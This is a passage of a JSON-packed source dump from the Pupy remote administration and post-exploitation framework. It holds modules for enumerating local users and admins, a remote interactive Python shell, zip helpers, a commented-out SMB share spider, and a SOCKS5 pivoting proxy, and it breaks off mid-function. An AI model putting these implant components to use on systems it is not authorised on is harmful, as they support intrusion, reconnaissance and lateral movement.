max_size, folder_to_spider, depth)\n#         worker.setDaemon(True)\n#         worker.start()\n#         threads.append(worker)\n\n#     for j in hosts:\n#         queue.put(j)\n\n#     queue.join()\n\n#     # wait for all threads to exit\n#     for item in threads:\n#         item.join()\n\n# smbspider(hosts, domain, port, user, passwd, hashes, check_content, share, search_str, exts, max_size, folder_to_spider, depth)\n"
  },
  {
    "path": "pupy/packages/all/pupyutils/users.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nimport getpass\n\nfrom io import open\n\nfrom pupy.network.lib.convcompat import fs_as_unicode_string\n\n\nif os.name == 'nt':\n    import win32net\n    import win32api\n\n    def users():\n        result = []\n        users, _, _ = win32net.NetUserEnum(None, 3)\n        current = win32api.GetUserName()\n\n        UF_ACCOUNT_DISABLE = 2\n        UF_LOCKOUT = 16\n\n        for user in users:\n            if user['flags'] & (UF_ACCOUNT_DISABLE | UF_LOCKOUT):\n                continue\n\n            result.append({\n                'name': fs_as_unicode_string(user['name']),\n                'groups': [\n                    fs_as_unicode_string(x)\n                    for x in win32net.NetUserGetLocalGroups(None, user['name'])\n                ],\n                'admin': user['priv'] == 2,\n                'home': (\n                    '\\\\'.join((\n                        fs_as_unicode_string(user['logon_server']),\n                        fs_as_unicode_string(user['home_dir'])\n                    ))\n                ) if user['home_dir'] else 'default'\n            })\n\n        return {\n            'current': current,\n            'users': result\n        }\n\nelse:\n    import pwd\n    import grp\n\n    def users():\n        try:\n            shells = set(\n                fs_as_unicode_string(\n                    y.strip()\n                ) for x in open('/etc/shells').readlines()\n                if x.startswith('/') for y in x.split()\n            )\n        except:\n            shells = ()\n\n        current = fs_as_unicode_string(getpass.getuser())\n        groups = grp.getgrall()\n\n        result = []\n\n        for user in pwd.getpwall():\n            if not user.pw_shell:\n                continue\n            elif shells:\n                if user.pw_shell not in shells:\n                    continue\n            elif user.pw_shell.split('/')[-1] in ('nologin','false'):\n                continue\n\n            result.append({\n                'name': fs_as_unicode_string(user.pw_name),\n                'groups': [\n                    fs_as_unicode_string(x.gr_name)\n                    for x in groups if user.pw_name in x.gr_mem\n                ],\n                'admin': user.pw_uid == 0,\n                'home': fs_as_unicode_string(user.pw_dir)\n            })\n\n        return {\n            'current': current,\n            'users': result\n        }\n"
  },
  {
    "path": "pupy/packages/all/pupyutils/zip.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport os\nimport zipfile\n\ndef try_unicode(path):\n    if isinstance(path, bytes):\n        try:\n            return path.decode('utf-8')\n        except UnicodeDecodeError:\n            pass\n\n    return path\n\n\ndef zip(src, dst):\n    src = try_unicode(src)\n\n    if not os.path.exists(src):\n        return False, \"The file \\\"%s\\\" does not exists\" % src\n\n    isDir = False\n    if os.path.isdir(src):\n        isDir = True\n\n    if not dst:\n        if isDir:\n            d = src.split(os.sep)\n            dst = d[len(d)-1] + '.zip'\n        else:\n            dst = src + '.zip'\n\n    dst = try_unicode(dst)\n\n    # To not overwrite an existing file\n    if os.path.exists(dst):\n        return False, \"The destination file \\\"%s\\\" already exists\" % dst\n\n    # Zip process\n    zf = zipfile.ZipFile(dst, \"w\", zipfile.ZIP_DEFLATED)\n    if isDir:\n        abs_src = os.path.abspath(src)\n        for dirname, subdirs, files in os.walk(src):\n            for filename in files:\n                absname = os.path.abspath(os.path.join(dirname, filename))\n                arcname = absname[len(abs_src) + 1:]\n                zf.write(absname, arcname)\n    else:\n        zf.write(src)\n\n    zf.close()\n    return True, \"File zipped correctly: \\\"%s\\\"\" % dst\n\n\ndef unzip(src, dst):\n    src = try_unicode(src)\n\n    if not os.path.exists(src):\n        return False, \"The file \\\"%s\\\" does not exists\" % src\n\n    if not dst:\n        d = src.split(os.sep)\n        dst = d[len(d)-1].replace('.zip', '')\n\n    dst = try_unicode(dst)\n\n    # To not overwrite an existing file\n    if os.path.exists(dst):\n        return False, \"The destination file \\\"%s\\\" already exists\" % dst\n\n    if zipfile.is_zipfile(src):\n        with zipfile.ZipFile(src, \"r\") as z:\n            z.extractall(dst)\n        return True, \"File unzipped correctly: \\\"%s\\\"\" % dst\n    else:\n        return False, 'The zipped file does not have a valid zip format: \\\"%s\\\"' % src\n\n\ndef list(src):\n    src = try_unicode(src)\n    if not os.path.exists(src):\n        return False, \"The file \\\"%s\\\" does not exists\" % src\n\n    if zipfile.is_zipfile(src):\n        with zipfile.ZipFile(src, \"r\") as z:\n            return True, [\n                (\n                    i.filename, i.file_size,\n                ) for i in z.infolist()\n            ]\n    else:\n        return False, 'The zipped file does not have a valid zip format: \\\"%s\\\"' % src\n"
  },
  {
    "path": "pupy/packages/all/pyshell/PythonCompleter.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ('PythonCompleter',)\n\nimport re\nimport inspect\n\ntry:\n    import keyword\nexcept ImportError:\n    keyword = None\n\nfrom pupy.network.lib.convcompat import as_native_string\n\n\nclass PythonCompleter(object):\n    __slots__ = (\n        'local_ns', 'global_ns', 'matches'\n    )\n\n    def __init__(self, local_ns=None, global_ns=None):\n        if local_ns is not None:\n            self.local_ns = local_ns\n        else:\n            self.local_ns = {}\n\n        if global_ns is not None:\n            self.global_ns = global_ns\n        else:\n            self.global_ns = globals()\n\n        self.matches = ()\n\n    def complete(self, text, state):\n        text = as_native_string(text)\n\n        if state == 0:\n            if '.' in text:\n                self.matches = tuple(self.attr_matches(text))\n            else:\n                self.matches = tuple(self.var_matches(text))\n\n        try:\n            return self.matches[state]\n\n        except IndexError:\n            return None\n\n    def var_matches(self, text):\n        m = re.match(r'\\s*(\\w+)', text)\n\n        if not m:\n            return []\n\n        text = m.group(1)\n\n        words = [\n            x for x in self.local_ns if x.startswith(text)\n        ]\n\n        if keyword is not None:\n            words.extend(\n                x for x in keyword.kwlist if x.startswith(text)\n            )\n\n        if '__builtins__' in words:\n            words.remove('__builtins__')\n\n        return words\n\n    def attr_matches(self, text):\n        '''\n        Compute matches when text contains a dot.\n\n        Assuming the text is of the form NAME.NAME....[NAME], and is\n        evaluatable in self.namespace, it will be evaluated and its attributes\n        (as revealed by dir()) are used as possible completions.  (For class\n        instances, class members are also considered.)\n\n        WARNING: this can still invoke arbitrary C code, if an object\n        with a __getattr__ hook is evaluated.\n        '''\n\n        bsw = \"[a-zA-Z0-9_\\\\(\\\\)\\\\[\\\\]\\\"']\"\n\n        m = re.match(r'(\\w+(\\.\\w+)*)\\.(\\w*)'.replace(r'\\w', bsw), text)\n        if not m:\n            return []\n\n        expr, attr = m.group(1, 3)\n\n        chain = expr.split('.')\n        thisobject = None\n\n        while chain:\n            thisobject_name = chain.pop(0)\n            if thisobject_name is None:\n                break\n\n            if thisobject is None:\n                thisobject = self.local_ns.get(thisobject_name)\n                if thisobject is None:\n                    return []\n            else:\n                try:\n                    thisobject = object.__getattribute__(\n                        thisobject, thisobject_name\n                    )\n                except AttributeError:\n                    return []\n\n        if thisobject is None:\n            return []\n\n        words = [\n            name for name, value in inspect.getmembers(thisobject)\n        ]\n\n        matches = []\n\n        n = len(attr)\n\n        for word in words:\n            if attr and word[:n] != attr:\n                continue\n\n            value = object.__getattribute__(thisobject, word)\n\n            try:\n                object.__getattribute__(value, '__call__')\n                word += '('\n            except AttributeError:\n                pass\n\n            matches.append(expr + '.' + word)\n\n        return matches\n\n\ndef get_class_members(klass):\n    ret = dir(klass)\n\n    if hasattr(klass, '__bases__'):\n        for base in klass.__bases__:\n            ret.extend(get_class_members(base))\n\n    return ret\n"
  },
  {
    "path": "pupy/packages/all/pyshell/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/packages/all/pyshell/controller.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file\n# at the root of the project for the detailed licence terms\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport code\n\nfrom . import PythonCompleter\n\n\ndef new_exit(*args, **kwargs):\n    print(\"use ctrl+D to exit the interactive python interpreter.\")\n\n\nclass PyShellController(object):\n    __slots__ = (\n        '_local_ns', 'console', 'completer'\n    )\n\n    def __init__(self):\n        self._local_ns = {\n            'exit': new_exit\n        }\n\n        self.console = code.InteractiveConsole(self._local_ns)\n        self.completer = PythonCompleter.PythonCompleter(\n            global_ns=globals(), local_ns=self._local_ns\n        ).complete\n\n    def write(self, line):\n        self.console.push(line)\n\n    def get_completer(self):\n        return self.completer\n"
  },
  {
    "path": "pupy/packages/all/pyuvproxy.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport pyuv\nimport struct\nimport os\n\nos.putenv('UV_THREADPOOL_SIZE', '1')\n\nfrom netaddr import IPAddress\nfrom threading import Thread, Lock\n\nfrom socket import inet_ntop\nfrom socket import AF_INET, AF_INET6\n\nfrom collections import namedtuple\n\nif sys.version_info.major > 2:\n    from queue import Queue, Empty\n    xrange = range\n    basestring = str\n    ints = int\n\n    def bval(x):\n        return x\nelse:\n    from Queue import Queue, Empty\n    ints = (int, long)\n\n    def bval(x):\n        return ord(x)\n\nimport socket\nimport errno\nimport uuid\n\nfrom pupy.network.lib.pupyrpc import nowait\nfrom pupy.network.lib import getLogger\n\nlogger = getLogger('pyuvproxy')\n\n\nclass Context(object):\n    __slots__ = (\n        'buffer', 'stage', 'header'\n    )\n\n    def __init__(self, buffer=None, stage=0, header=b''):\n        self.buffer = buffer or list()\n        self.stage = stage\n        self.header = header\n\n    def __repr__(self):\n        return 'Context({}, {}, {})'.format(\n            repr(self.buffer), repr(self.stage), repr(self.header)\n        )\n\n\nCODE_SUCCEEDED, CODE_GENERAL_SRV_FAILURE, CODE_CONN_NOT_ALLOWED, \\\n    CODE_NET_NOT_REACHABLE, CODE_HOST_UNREACHABLE, CODE_CONN_REFUSED, \\\n    CODE_TTL_EXPIRED, CODE_COMMAND_NOT_SUPPORTED, \\\n    CODE_ADDRESS_TYPE_NOT_SUPPORTED, CODE_UNASSIGNED = xrange(10)\n\nERRNO_TO_SOCKS5 = {\n    errno.ECONNREFUSED: CODE_CONN_REFUSED,\n    errno.ETIMEDOUT: CODE_CONN_REFUSED,\n    errno.EACCES: CODE_CONN_NOT_ALLOWED,\n    errno.EAFNOSUPPORT: CODE_ADDRESS_TYPE_NOT_SUPPORTED,\n    errno.EPROTOTYPE: CODE_ADDRESS_TYPE_NOT_SUPPORTED,\n    errno.EFAULT: CODE_GENERAL_SRV_FAILURE,\n    errno.ENETUNREACH: CODE_NET_NOT_REACHABLE,\n    -1: CODE_CONN_REFUSED\n}\n\nCMD_CONNECT, CMD_BIND, CMD_UDP_ASSOCIATE = xrange(1, 4)\n\nMETHOD_NO_AUTH, METHOD_GSSAPI, METHOD_PASSWORD, METHOD_IANA = xrange(4)\nMETHOD_RESERVED = 0x80\nMETHOD_NO_ACCEPTABLE_METHOD = 0xFF\n\nADDR_IPV4, _, ADDR_HOSTNAME, ADDR_IPV6 = xrange(1, 5)\n\n\ndef get_id():\n    return '{:012x}'.format(uuid.getnode())\n\n\nclass RpycCommunicationFailed(EOFError):\n    pass\n\n\nclass NeighborIsNotExists(ValueError):\n    pass\n\n\nclass ConnectionIsNotExists(ValueError):\n    pass\n\n\nclass ResourceIsUsed(ValueError):\n    pass\n\n\nclass ResourceIsNotExists(ValueError):\n    pass\n\n\nclass UndefinedType(ValueError):\n    pass\n\n\nclass ChannelIsNotReady(ValueError):\n    pass\n\n\nclass Connection(object):\n    __slots__ = (\n        'neighbor', 'loop', 'virtual_ports',\n        'socket', 'local_id', 'remote_id', 'remote_local_address',\n        'buffer', 'socks5', 'timer', 'timeout', 'resolving', 'peername'\n    )\n\n    def __init__(self, neighbor, remote_id=None, socket=None, buffer=None, socks5=False, timeout=5, peername=None):\n        self.neighbor = neighbor\n        self.loop = self.neighbor.manager.loop\n        self.virtual_ports = self.neighbor.virtual_ports\n        self.socket = socket\n        self.local_id = hash(self)\n        self.remote_id = remote_id\n        self.remote_local_address = None\n        self.buffer = None\n        self.socks5 = socks5\n        self.timer = pyuv.Timer(self.loop)\n        self.timeout = timeout\n        self.resolving = None\n        self.peername = peername\n\n    def __repr__(self):\n        return 'PYUVC:{}:{}{}'.format(\n            self.local_id, self.remote_id,\n            '' if not self.peername else ':'+self.peername\n        )\n\n    def _connection_timeout(self, handle):\n        try:\n            if self.resolving:\n                self.resolving.cancel()\n        except:\n            pass\n\n        try:\n            handle.stop()\n        except:\n            pass\n\n        self.close(-1, mutual=self.remote_id is not None)\n\n    def register_remote_id(self, remote_id):\n        self.remote_id = remote_id\n\n    def on_connected(self, local_address, error):\n        if error:\n            try:\n                if self.socks5:\n                    self.socket.write(\n                        struct.pack(\n                            'BB', 0x5, ERRNO_TO_SOCKS5.get(\n                                error, CODE_GENERAL_SRV_FAILURE)\n                        ) + self.socks5[2:])\n            except:\n                pass\n\n            finally:\n                self.close(error, mutual=False)\n        else:\n            try:\n                if self.socks5:\n                    ipaddr, port = local_address\n                    if not isinstance(ipaddr, str) and \\\n                            isinstance(ipaddr, bytes):\n                        ipaddr = ipaddr.decode('ascii')\n\n                    ipaddr = IPAddress(ipaddr)\n                    self.socket.write(\n                        struct.pack(\n                            'BBBB', 0x5,\n                            0, 0,\n                            ADDR_IPV4 if ipaddr.version == 4 else ADDR_IPV6\n                        ) + ipaddr.packed + struct.pack('>H', port))\n\n                if self.buffer:\n                    self._on_read_data(self.socket, self.buffer, None)\n\n                self.forward()\n\n            except:\n                self.close(-1)\n\n    def on_data(self, data):\n        if not self.socket:\n            logger.debug(\n                'Connections(%s) - socket=%s - Not ready',\n                self, self.socket\n            )\n            raise ChannelIsNotReady(self)\n\n        self.socket.write(data, self._on_send_complete)\n\n    def _on_send_complete(self, handle, error):\n        if error:\n            self.close(error)\n\n    def on_disconnect(self, reason):\n        if not self.socket:\n            raise ChannelIsNotReady(self)\n\n        self.close(reason, mutual=False)\n\n    def _on_read_data(self, handle, data, error):\n        if data:\n            try:\n                self.neighbor.callbacks.on_data(\n                    self.neighbor.remote_id,\n                    self.remote_id,\n                    data\n                )\n            except EOFError:\n                self.neighbor.stop(dead=True)\n            except:\n                self.close(-1)\n                raise\n        else:\n            self.close(error)\n\n    def _on_connected(self, handle, error):\n        logger.debug('Connection(%s) - _on_connected (%s)', self, error)\n\n        try:\n            if self.timer:\n                self.timer.stop()\n                self.timer.close()\n                self.timer = None\n        except:\n            pass\n\n        try:\n            self.neighbor.callbacks.on_connected(\n                self.neighbor.remote_id,\n                self.remote_id,\n                self.socket.getsockname() if not error else None,\n                error=error\n            )\n            if error:\n                try:\n                    logger.debug(\n                        'Connection(%s) - _on_connected - error: %s',\n                        self, error\n                    )\n                    self.socket.close()\n                except:\n                    pass\n\n            else:\n                logger.debug('Connection(%s) - _on_connected - forward', self)\n                self.forward()\n\n        except EOFError:\n            self.neighbor.stop(dead=True)\n\n    def _virtual_connect(self, port):\n        try:\n            logger.debug(\n                'Connection(%s) - _virtual_connect(%s)', self, port\n            )\n\n            self.socket = self.virtual_ports.connect(port, self.peername)\n\n            logger.debug(\n                'Connection(%s) - _virtual_connect(%s) - socket:%s',\n                self, port, self.socket\n            )\n            self._on_connected(self.socket, None)\n\n            logger.debug(\n                'Connection(%s) - _virtual_connect(%s) - completed',\n                self, port\n            )\n        except Exception as e:\n            logger.exception(\n                'Connection(%s) - _virtual_connect(%s) - exception', self, port\n            )\n            self._on_connected(None, e)\n\n    def connect(self, address, dns, bind):\n        if address and isinstance(address, tuple):\n            if not isinstance(address[0], str) and \\\n                    isinstance(address[0], bytes):\n                address = (\n                    address[0].decode('utf-8'), address[1]\n                )\n\n            if address[0] == '254.254.254.254':\n                self._virtual_connect(address[1])\n                return\n\n        try:\n            self.timer.start(self._connection_timeout, self.timeout, 0)\n\n            if isinstance(address, basestring):\n                self.socket = pyuv.Pipe(self.loop, True)\n                self.socket.getsockname = lambda: ''\n\n                if os.name == 'nt':\n                    self.socket.connect(address, self._on_connected)\n                else:\n                    if address[0] == '@':\n                        address = '\\0' + address[1:]\n                    fd = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM, 0)\n                    try:\n                        fd.setblocking(0)\n                        self.socket.open(os.dup(fd.fileno()))\n                    except:\n                        fd.close()\n                        self._on_connected(None, -1)\n\n                self.socket.connect(address, self._on_connected)\n            else:\n                self.socket = pyuv.TCP(self.loop)\n                if bind:\n                    if isinstance(bind, ints):\n                        bind = ('0.0.0.0', bind)\n                    elif isinstance(bind, tuple):\n                        if not isinstance(bind[0], str) and \\\n                                isinstance(bind[0], bytes):\n                            bind = (\n                                bind[0].decode('utf-8'),\n                                bind[1]\n                            )\n                    try:\n                        self.socket.bind(bind)\n                    except:\n                        pass\n\n                if dns and len(address) == 2:\n                    host, port = address\n                    self.resolving = pyuv.dns.getaddrinfo(\n                        self.loop,\n                        host, port,\n                        0, 0, socket.IPPROTO_TCP,\n                        callback=self._on_resolved\n                    )\n                else:\n                    self.socket.connect(address, self._on_connected)\n\n        except:\n            self._on_connected(None, -1)\n\n    def _on_resolved(self, address, error):\n        if error or not address:\n            self._on_connected(None, -1)\n        else:\n            self.socket.connect(address[0][4], self._on_connected)\n\n    def forward(self):\n        self.socket.start_read(self._on_read_data)\n\n    def close(self, reason, mutual=True):\n        unregistered = False\n        if mutual:\n            try:\n                self.neighbor.callbacks.on_disconnect(\n                    self.neighbor.remote_id,\n                    self.remote_id,\n                    reason\n                )\n\n            except EOFError:\n                self.neighbor.stop(dead=True)\n                unregistered = True\n\n        try:\n            self.socket.close()\n        except:\n            pass\n\n        try:\n            if self.timer:\n                self.timer.stop()\n        except:\n            pass\n\n        if not unregistered:\n            self.neighbor.unregister_connection(self)\n\n\nclass Acceptor(object):\n    def __init__(\n        self, neighbor, local_address,\n            forward_address=None, bind_address=None):\n\n        self.neighbor = neighbor\n        self.loop = self.neighbor.manager.loop\n        self.local_address = local_address\n        self.forward_address = forward_address\n        self.bind_address = bind_address\n        self.associaction = {}\n        if isinstance(local_address, basestring):\n            self.socket = pyuv.Pipe(self.loop, True)\n        else:\n            self.socket = pyuv.TCP(self.loop)\n\n    def start(self):\n        if not os.name == 'nt' and type(self.socket) == pyuv.Pipe:\n            try:\n                fd = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM, 0)\n                if self.local_address[0] == '@':\n                    self.local_address = '\\0' + self.local_address[1:]\n                fd.bind(self.local_address)\n                fd.setblocking(0)\n                self.socket.open(os.dup(fd.fileno()))\n            finally:\n                fd.close()\n        else:\n            self.socket.bind(self.local_address)\n\n        self.socket.listen(self._on_connection)\n\n    def _on_connection(self, handle, error):\n        if error:\n            logger.error('_on_connection: %s', error)\n            return\n\n        if type(self.socket) == pyuv.TCP:\n            client = pyuv.TCP(self.loop)\n        else:\n            client = pyuv.Pipe(self.loop, True)\n\n        self.socket.accept(client)\n\n        if self.forward_address:\n            self.on_connection(client)\n        else:\n            context = Context()\n            client.start_read(\n                lambda handle, data, error: self._socks5_read(\n                    handle, data, error, context\n                ))\n\n    def _socks5_read(self, handle, data, error, context):\n        if data:\n            context.buffer.append(data)\n            packet = b''.join(context.buffer)\n\n            if context.stage == 0:\n                if len(packet) < 2:\n                    return\n\n                try:\n                    ver, nmethods = struct.unpack_from('BB', packet)\n                except:\n                    handle.close()\n                    return\n\n                if ver != 5:\n                    handle.close()\n                    return\n\n                if len(packet) < 2 + nmethods:\n                    return\n\n                try:\n                    methods = struct.unpack_from('B'*nmethods, packet[2:])\n                except:\n                    handle.close()\n                    return\n\n                if METHOD_NO_AUTH not in methods:\n                    handle.write(\n                        struct.pack('BB', 0x5, METHOD_NO_ACCEPTABLE_METHOD),\n                        lambda handle, error: handle.close()\n                    )\n                    return\n                else:\n                    handle.write(\n                        struct.pack('BB', 0x5, METHOD_NO_AUTH)\n                    )\n                    context.stage += 1\n                    context.buffer = []\n\n            elif context.stage == 1:\n                if len(packet) < 4 + 2:\n                    return\n\n                try:\n                    ver, cmd, rsv, atyp = struct.unpack_from('BBBB', packet)\n                except:\n                    handle.close()\n                    return\n\n                if not all([\n                    ver == 5,\n                    cmd in (CMD_BIND, CMD_CONNECT, CMD_UDP_ASSOCIATE),\n                    rsv == 0,\n                    atyp in (ADDR_IPV4, ADDR_HOSTNAME, ADDR_IPV6)\n                ]):\n                    handle.close()\n                    return\n\n                addr_offt = 0\n                addr_len = 0\n\n                dns = False\n\n                if atyp == ADDR_IPV4:\n                    addr_len = 4\n                elif atyp == ADDR_IPV6:\n                    addr_len = 16\n                elif atyp == ADDR_HOSTNAME:\n                    addr_len = bval(packet[4])\n                    addr_offt = 1\n                    dns = True\n\n                if len(packet) < 4 + 2 + addr_len + addr_offt:\n                    return\n\n                context.header = packet\n\n                dst_addr = packet[4+addr_offt:4+addr_offt+addr_len]\n                dst_port = packet[4+addr_offt+addr_len:4+addr_offt+addr_len+2]\n\n                if atyp == ADDR_IPV4:\n                    dst_addr = inet_ntop(AF_INET, dst_addr)\n                elif atyp == ADDR_IPV6:\n                    dst_addr = inet_ntop(AF_INET6, dst_addr)\n\n                try:\n                    dst_port = struct.unpack('>H', dst_port)[0]\n                except:\n                    handle.close()\n                    return\n\n                handle.stop_read()\n\n                self.on_connection(\n                    handle, (dst_addr,\n                             dst_port), socks5=context.header, dns=dns\n                )\n        else:\n            handle.close()\n\n    def on_connection(\n        self, client, address=None, buffer=None,\n            socks5=None, dns=False):\n\n        address = address or self.forward_address\n        bind = self.bind_address\n\n        peername = client.getpeername()\n        if type(peername) in (tuple, list):\n            peername = '{}:{}'.format(*peername)\n        elif not type(peername) is str:\n            peername = str(peername)\n\n        logger.debug('Connection from %s', peername)\n\n        connection = Connection(\n            self.neighbor, socket=client, buffer=buffer,\n            socks5=socks5, peername=peername\n        )\n\n        self.neighbor.register_connection(connection)\n\n        try:\n            remote_id_promise = self.neighbor.callbacks.create_connection(\n                self.neighbor.remote_id,\n                connection.local_id,\n                peername\n            )\n\n        except EOFError:\n            self.neighbor.stop(dead=True)\n            return\n\n        self.neighbor.manager.defer(\n            self._deferred_on_connection,\n            connection, address, dns, bind, remote_id_promise\n        )\n\n    def _deferred_on_connection(\n        self, connection, address, dns,\n            bind, remote_id_promise):\n\n        if remote_id_promise.expired:\n            logger.debug('on_connection promise expiration')\n            self.neighbor.stop(dead=True)\n            return\n\n        elif remote_id_promise.error:\n            logger.debug('on_connection promise error')\n            self.neighbor.stop(dead=True)\n            return\n\n        elif not remote_id_promise.ready:\n            self.neighbor.manager.defer(\n                self._deferred_on_connection,\n                connection, address, dns, bind, remote_id_promise\n            )\n            return\n\n        remote_id = remote_id_promise.value\n\n        connection.register_remote_id(remote_id)\n\n        try:\n            self.neighbor.callbacks.connect(\n                self.neighbor.remote_id,\n                connection.remote_id,\n                address,\n                dns,\n                bind\n            )\n\n        except EOFError:\n            self.neighbor.stop(dead=True)\n\n    def close(self):\n        if type(self.socket) == pyuv.Pipe:\n            try:\n                if os.path.exists(self.local_address):\n                    os.unlink(self.local_address)\n            except:\n                pass\n\n        self.socket.close()\n        self.neighbor.unregister_acceptor(self)\n\n\nclass Callbacks(object):\n    def __init__(self, ref):\n        self.create_connection = nowait(ref['create_connection'])\n        self.connect = nowait(ref['connect'])\n        self.on_connected = nowait(ref['on_connected'])\n        self.on_data = nowait(ref['on_data'])\n        self.on_disconnect = nowait(ref['on_disconnect'])\n\n\nclass Neighbor(object):\n    def __init__(self, manager, callbacks, virtual_ports):\n        self.manager = manager\n        self.callbacks = Callbacks(callbacks)\n        self.connections = {}\n        self.acceptors = {}\n        self.local_id = None\n        self.remote_id = None\n        self.virtual_ports = virtual_ports\n\n    def stop(self, dead=False):\n        acceptors = list(self.acceptors)\n        for path_or_port in acceptors:\n            acceptor = self.acceptors[path_or_port]\n            acceptor.close()\n\n        connections = list(self.connections)\n        for connection in connections:\n            self.connections[\n                connection\n            ].close(-1, mutual=not dead)\n\n        try:\n            del self.manager.neighbors[self.local_id]\n        except KeyError:\n            pass\n\n    def pair(self, local_id, remote_id):\n        self.local_id = local_id\n        self.remote_id = remote_id\n\n    def get_connection(self, connection_id):\n        if connection_id not in self.connections:\n            raise ConnectionIsNotExists(connection_id)\n\n        return self.connections[connection_id]\n\n    def create_connection(self, remote_id=None, peername=None):\n        connection = Connection(\n            self, remote_id=remote_id, peername=peername\n        )\n        self.register_connection(connection)\n        return connection.local_id\n\n    def register_connection(self, connection):\n        self.connections[connection.local_id] = connection\n\n    def unregister_connection(self, connection):\n        if connection.local_id in self.connections:\n            del self.connections[connection.local_id]\n\n    def register_acceptor(self, acceptor, path_or_port):\n        self.acceptors[path_or_port] = acceptor\n\n    def unregister_acceptor(self, acceptor_or_path_or_port):\n        if isinstance(acceptor_or_path_or_port, (basestring, int)):\n            try:\n                self.acceptors[acceptor_or_path_or_port].close()\n                return True\n            except:\n                return False\n        else:\n            for k in list(self.acceptors):\n                if self.acceptors[k] == acceptor_or_path_or_port:\n                    del self.acceptors[k]\n                    return True\n\n        return False\n\n    def uses_port(self, path_or_port):\n        return path_or_port in self.acceptors\n\n\nclass VirtualSocket(object):\n    __slots__ = (\n        'port', 'on_close', 'on_data',\n        'on_start_read', 'on_incoming_data',\n        'address'\n    )\n\n    def __init__(self, port, on_start_read, on_data, on_close, address=None):\n        self.port = port\n        self.on_close = on_close\n        self.on_data = on_data\n        self.on_start_read = on_start_read\n        self.address = address\n\n        logger.debug('VirtualSocket(%s) - allocated', self)\n\n    def __repr__(self):\n        return 'PYUVVS:{}:{}'.format(id(self), self.port)\n\n    def close(self):\n        logger.debug('VirtualSocket(%s) - closing', self)\n\n        self.on_close()\n        self.on_start_read = None\n\n        logger.debug('VirtualSocket(%s) - closed', self)\n\n    def write(self, data, on_complete):\n        logger.debug(\n            'VirtualSocket(%s) - writing (%s)', self, len(data))\n\n        try:\n            self.on_data(data)\n            on_complete(self, None)\n        except Exception as e:\n            logger.debug(\n                'VirtualSocket(%s) - write - exception: %s', self, e)\n            on_complete(self, -1)\n\n        logger.debug('VirtualSocket(%s) - written', self)\n\n    def start_read(self, cb):\n        logger.debug('VirtualSocket(%s) - activating (cb=%s)', self, cb)\n        self.on_start_read(self.address, cb)\n        logger.debug('VirtualSocket(%s) - activated', self)\n\n    def getsockname(self):\n        return self.address or ('254.254.254.254', self.port)\n\n\nclass VirtualPortsManager(object):\n    __slots__ = ('lock', 'ports')\n\n    def __init__(self):\n        self.lock = Lock()\n        self.ports = {}\n\n    def connect(self, port, peername):\n        if port not in self.ports:\n            raise ValueError('Port {} is not registered'.format(port))\n\n        logger.debug('VirtualPortsManager: connect(%s)', port)\n\n        try:\n            create_connection_cb = self.ports[port]\n            on_start_read, on_data, on_close = create_connection_cb(peername)\n        except Exception as e:\n            logger.exception(e)\n            raise\n\n        logger.debug('VirtualPortsManager: connect(%s) - socket created', port)\n        return VirtualSocket(port, on_start_read, on_data, on_close)\n\n    def register(self, port, create_cb):\n        if port in self.ports:\n            raise ValueError('Port {} already registered'.format(port))\n\n        logger.debug('VirtualPortsManager: register(%s)', port)\n        self.ports[port] = create_cb\n\n    def unregister(self, port):\n        if port not in self.ports:\n            raise ValueError('Port {} is not registered'.format(port))\n\n        logger.debug('VirtualPortsManager: unregister(%s)', port)\n        del self.ports[port]\n\n    def destroy(self):\n        for port in list(self.ports):\n            self.unregister(port)\n\n\nclass Manager(Thread):\n    def __init__(self):\n        super(Manager, self).__init__()\n        self.loop = pyuv.Loop()\n        self.neighbors = {}\n        self.daemon = True\n        self.wake = pyuv.Async(self.loop, self.sync)\n        self.queue = Queue()\n\n        self.virtual_ports = VirtualPortsManager()\n\n    def register_virtual_port(self, port, create_virtual_connection_cb):\n        logger.debug('Manager: Register virtual port: %s', port)\n        self.virtual_ports.register(port, create_virtual_connection_cb)\n\n    def unregister_virtual_port(self, port):\n        logger.debug('Manager: Unregister virtual port: %s', port)\n        self.virtual_ports.unregister(port)\n\n    def sync(self, handle):\n        while True:\n            try:\n                method, args = self.queue.get_nowait()\n            except Empty:\n                break\n\n            try:\n                method(*args)\n            except Exception as e:\n                logger.exception(\n                    'Defered call exception: %s (ignored)', e)\n\n    def defer(self, method, *args):\n        self.queue.put((method, args))\n        try:\n            self.wake.send()\n        except pyuv.error.HandleClosedError:\n            pass\n\n    def _stop(self, dead):\n        for neighbor_id in list(self.neighbors):\n            self.neighbors[neighbor_id].stop(dead=dead)\n\n        self.wake.close()\n\n        for handle in self.loop.handles:\n            if not handle.closed:\n                handle.close()\n\n        self.loop.stop()\n\n    def stop(self, dead=False):\n        self.defer(self._stop, dead)\n\n    def force_stop(self):\n        self.stop(dead=True)\n\n    def run(self):\n        try:\n            self.loop.run()\n        except:\n            raise\n\n    def get_neighbor(self, neighbor_id):\n        if neighbor_id not in self.neighbors:\n            raise NeighborIsNotExists(neighbor_id)\n\n        return self.neighbors[neighbor_id]\n\n    def _bind(self, neighbor_id, local_address, forward, bind):\n        neighbor = self.get_neighbor(neighbor_id)\n        acceptor = Acceptor(\n            neighbor,\n            local_address=local_address,\n            forward_address=forward,\n            bind_address=bind\n        )\n\n        if isinstance(local_address, basestring):\n            neighbor.register_acceptor(acceptor, local_address)\n        else:\n            host, port = local_address\n            neighbor.register_acceptor(acceptor, port)\n\n        acceptor.start()\n\n    def bind(\n        self, neighbor_id, local_address=('127.0.0.1', 8080),\n            forward=None, bind=None):\n\n        logger.debug(\n            'Manager: bind(%s, 